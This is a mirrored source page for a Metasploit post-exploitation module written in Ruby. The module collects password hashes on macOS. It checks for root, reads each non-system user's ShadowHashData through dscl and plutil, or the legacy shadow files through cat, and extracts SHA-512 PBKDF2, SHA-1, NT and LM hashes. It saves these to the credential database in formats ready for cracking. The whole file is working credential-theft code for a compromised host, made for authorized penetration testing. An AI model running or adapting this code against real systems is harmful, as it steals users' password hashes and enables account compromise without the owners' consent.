CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/hashdump.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Post
9
# set of accounts to ignore while pilfering data
10
# OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]
11
12
include Msf::Post::File
13
include Msf::Post::OSX::Priv
14
include Msf::Post::OSX::System
15
include Msf::Auxiliary::Report
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'OS X Gather Mac OS X Password Hash Collector',
22
'Description' => %q{
23
This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports
24
versions 10.3 to 10.14.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Carlos Perez <carlos_perez[at]darkoperator.com>',
29
'hammackj <jacob.hammack[at]hammackj.com>',
30
'joev'
31
],
32
'Platform' => [ 'osx' ],
33
'SessionTypes' => %w[shell meterpreter]
34
)
35
)
36
register_options([
37
OptRegexp.new('MATCHUSER', [
38
false,
39
'Only attempt to grab hashes for users whose name matches this regex'
40
])
41
])
42
end
43
44
# Run Method for when run command is issued
45
def run
46
unless is_root?
47
fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes')
48
end
49
50
# iterate over all users
51
get_nonsystem_accounts.each do |user_info|
52
user = user_info['name']
53
next if datastore['MATCHUSER'].present? && datastore['MATCHUSER'] !~ (user)
54
55
print_status "Attempting to grab shadow for user #{user}..."
56
if gt_lion? # 10.8+
57
# pull the shadow from dscl
58
shadow_bytes = grab_shadow_blob(user)
59
next if shadow_bytes.blank?
60
61
# on 10.8+ ShadowHashData stores a binary plist inside of the user.plist
62
# Here we pull out the binary plist bytes and use built-in plutil to convert to xml
63
plist_bytes = shadow_bytes.split('').each_slice(2).map { |s| "\\x#{s[0]}#{s[1]}" }.join
64
65
# encode the bytes as \x hex string, print using bash's echo, and pass to plutil
66
shadow_plist = cmd_exec("/bin/bash -c 'echo -ne \"#{plist_bytes}\" | plutil -convert xml1 - -o -'")
67
68
# read the plaintext xml
69
shadow_xml = REXML::Document.new(shadow_plist)
70
71
# parse out the different parts of sha512pbkdf2
72
dict = shadow_xml.elements[1].elements[1].elements[2]
73
entropy = Rex::Text.to_hex(dict.elements[2].text.gsub(/\s+/, '').unpack('m*')[0], '')
74
iterations = dict.elements[4].text.gsub(/\s+/, '')
75
salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '')
76
77
# PBKDF2 stored in <iterations, salt, entropy> format
78
decoded_hash = "$ml$#{iterations}$#{salt}$#{entropy}"
79
report_hash('SHA-512 PBKDF2', decoded_hash, user)
80
elsif lion? # 10.7
81
# pull the shadow from dscl
82
shadow_bytes = grab_shadow_blob(user)
83
next if shadow_bytes.blank?
84
85
# on 10.7 the ShadowHashData is stored in plaintext
86
hash_decoded = shadow_bytes.downcase
87
88
# Check if NT HASH is present
89
if hash_decoded =~ /4f1010/
90
report_hash('NT', hash_decoded.scan(/^\w*4f1010(\w*)4f1044/)[0][0], user)
91
end
92
93
# slice out the sha512 hash + salt
94
# original regex left for historical purposes. During testing it was discovered that
95
# 4f110200 was also a valid end. Instead of looking for the end, since its a hash (known
96
# length) we can just set the length
97
# sha512 = hash_decoded.scan(/^\w*4f1044(\w*)(080b190|080d101e31)/)[0][0]
98
sha512 = hash_decoded.scan(/^\w*4f1044(\w{136})/)[0][0]
99
report_hash('SHA-512', sha512, user)
100
else # 10.6 and below
101
# On 10.6 and below, SHA-1 is used for encryption
102
guid = if gte_leopard?
103
cmd_exec("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
104
elsif lte_tiger?
105
cmd_exec("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp
106
end
107
108
# Extract the hashes
109
sha1_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c169-216").chomp
110
nt_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c1-32").chomp
111
lm_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c33-64").chomp
112
113
# Check that we have the hashes and save them
114
if sha1_hash !~ /0000000000000000000000000/
115
report_hash('SHA-1', sha1_hash, user)
116
end
117
if nt_hash !~ /000000000000000/
118
report_hash('NT', nt_hash, user)
119
end
120
if lm_hash !~ /0000000000000/
121
report_hash('LM', lm_hash, user)
122
end
123
end
124
end
125
end
126
127
private
128
129
# @return [Bool] system version is at least 10.5
130
def gte_leopard?
131
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 5
132
end
133
134
# @return [Bool] system version is at least 10.8
135
def gt_lion?
136
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 8
137
end
138
139
# @return [String] hostname
140
def host
141
session.session_host
142
end
143
144
# @return [Bool] system version is 10.7
145
def lion?
146
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i == 7
147
end
148
149
# @return [Bool] system version is 10.4 or lower
150
def lte_tiger?
151
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i <= 4
152
end
153
154
# parse the dslocal plist in lion
155
def read_ds_xml_plist(plist_content)
156
doc = REXML::Document.new(plist_content)
157
keys = []
158
doc.elements.each('plist/dict/key') { |n| keys << n.text }
159
160
fields = {}
161
i = 0
162
doc.elements.each('plist/dict/array') do |element|
163
data = []
164
fields[keys[i]] = data
165
element.each_element('*') do |thing|
166
data_set = thing.text
167
if data_set
168
data << data_set.gsub("\n\t\t", '')
169
else
170
data << data_set
171
end
172
end
173
i += 1
174
end
175
return fields
176
end
177
178
# reports the hash info to metasploit backend
179
def report_hash(type, hash, user)
180
return unless hash.present?
181
182
print_good("#{type}:#{user}:#{hash}")
183
case type
184
when 'NT'
185
private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}"
186
private_type = :ntlm_hash
187
jtr_format = 'ntlm'
188
when 'LM'
189
private_data = "#{hash}:#{Metasploit::Credential::NTLMHash::BLANK_NT_HASH}"
190
private_type = :ntlm_hash
191
jtr_format = 'lm'
192
when 'SHA-512 PBKDF2'
193
private_data = hash
194
private_type = :nonreplayable_hash
195
jtr_format = 'PBKDF2-HMAC-SHA512'
196
when 'SHA-512'
197
private_data = hash
198
private_type = :nonreplayable_hash
199
jtr_format = 'xsha512'
200
when 'SHA-1'
201
private_data = hash
202
private_type = :nonreplayable_hash
203
jtr_format = 'xsha'
204
end
205
create_credential(
206
jtr_format: jtr_format,
207
workspace_id: myworkspace_id,
208
origin_type: :session,
209
session_id: session_db_id,
210
post_reference_name: refname,
211
username: user,
212
private_data: private_data,
213
private_type: private_type
214
)
215
print_status('Credential saved in database.')
216
end
217
218
# @return [String] containing blob for ShadowHashData in user's plist
219
# @return [nil] if shadow is invalid
220
def grab_shadow_blob(user)
221
shadow_bytes = cmd_exec("dscl . read /Users/#{user} dsAttrTypeNative:ShadowHashData").gsub(/\s+/, '')
222
return nil unless shadow_bytes.start_with? 'dsAttrTypeNative:ShadowHashData:'
223
224
# strip the other bytes
225
shadow_bytes.sub!(/^dsAttrTypeNative:ShadowHashData:/, '')
226
end
227
228
# @return [String] version string (e.g. 10.8.5)
229
def ver_num
230
@product_version ||= get_sysinfo['ProductVersion']
231
end
232
end
233
234